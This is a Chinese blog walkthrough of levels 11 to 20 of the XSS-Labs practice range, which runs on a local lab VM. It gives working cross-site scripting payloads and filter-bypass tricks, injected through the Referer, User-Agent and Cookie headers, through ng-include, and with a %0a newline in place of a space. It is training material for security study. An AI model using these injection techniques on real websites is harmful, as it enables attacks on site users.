《XSS-Labs》02. Level 11~20

发布时间 2023-10-04 09:48:34作者: 镜坛主

@


靶场部署在 VMware - Win7。

靶场地址:https://github.com/do0dl3/xss-labs

只要手动注入恶意 JavaScript 脚本成功,就可以证明 xss 漏洞存在。
最简单的验证方法:<script>alert("xss");</script>

索引

  • Level-11:Referer 头传递 payload。
  • Level-12:User-Agent 头传递 payload。
  • Level-13:Cookie 头传递 payload。
  • Level-14:图片 exif xss 漏洞。
  • Level-15:ng-include 利用。
  • Level-16:换行(%0a)代替空格绕过。
  • Level-17:flash 插件与 embed 标签。
  • Level-18 ~ 20:flash 插件相关 xss 漏洞。

Level-11

题解

先看看网页源码。

在这里插入图片描述

<input> 标签有四个值,都做了隐藏处理。其中第四个名为 t_ref 的标签是 http 头中 referer 的参数。

先 GET 与 POST 传参测试一下前三个标签能不能传值。

GET:

url + ?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

POST:

t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

结果是都不能赋值。那就只能通过 referer 头传递 payload。

Referer: " onfocus=javascript:alert() type="text

在这里插入图片描述

Level-12

题解

看一眼源码。一眼 User-Agent 头。

在这里插入图片描述

那就直接上 payload。

User-Agent: " onfocus=javascript:alert() type="text

在这里插入图片描述

Level-13

题解

与 Level-11 和 Level-12 类似。利用 Cookie 头构造 payload。

Cookie: user=" onclick=alert() type="text 

在这里插入图片描述

Level-14

题解

这题会定时转跳到一个已经挂了的网站。

看了其他文章,有关图片 exif xss 漏洞。反正这题是没法做了,了解一下即可。

《xss-labs靶场-第十四关 iframe和exif xss漏洞》
https://www.freebuf.com/articles/web/282983.html

《XSS挑战之旅--游戏通关攻略》
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12

Level-15

在这里插入图片描述

题解

查看源码,可以看到传递的参数在代码中的位置。

在这里插入图片描述

ng-include:就是文件包含的意思,用来包含外部文件,如果包含的内容是地址,需要加引号。可以无视 html 实体化。

包含第一关看看,这里根据实际路径进行更改。

url + ?src='/lab/xss/level1.php'

在这里插入图片描述

所以可以包含之前的一关并对其传参来进行 xss。

这里不能包含直接弹窗的代码,如 <script>,但是可以利用能间接弹窗的代码,比如 <a><input><img><p> 标签等。

payload

url + ?src='/lab/xss/level1.php?name=<img src=level15.png onmouseover=alert()>'

Level-16

题解

先测试一下关键字:

url + ?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

在这里插入图片描述

过滤了很多东西,【/】也被过滤了,空格也被 html 实体化。

不过可以使用回车换行(%0a)代替空格。

payload

url + ?keyword=<svg%0Aonload=alert(1)>

Level-17

题解

这题主要考察 flash。需要使用支持 flash 插件的浏览器。也考察 embed 标签。

解题方法没什么新颖的。

可以参考:

《xss-labs靶场实战全通关详细过程》
https://blog.csdn.net/l2872253606/article/details/125638898

Level-18~20

题解

没想到最后几关都是有关 flash 插件的,甚至还涉及反汇编......

直接参考大佬文章吧,毕竟 flash 插件可以认为是过时了......

《xss-labs靶场实战全通关详细过程》
https://blog.csdn.net/l2872253606/article/details/125638898

Adobe 公司宣布将于 2020 年停止支持 Flash Player,因为 Flash 插件存在许多安全漏洞和缺陷,对于计算机和浏览器存在潜在的安全风险。
大多数现代浏览器已经默认禁用了 Flash 插件。


若问相思甚了期,除非相见时。

——《长相思》(宋)晏几道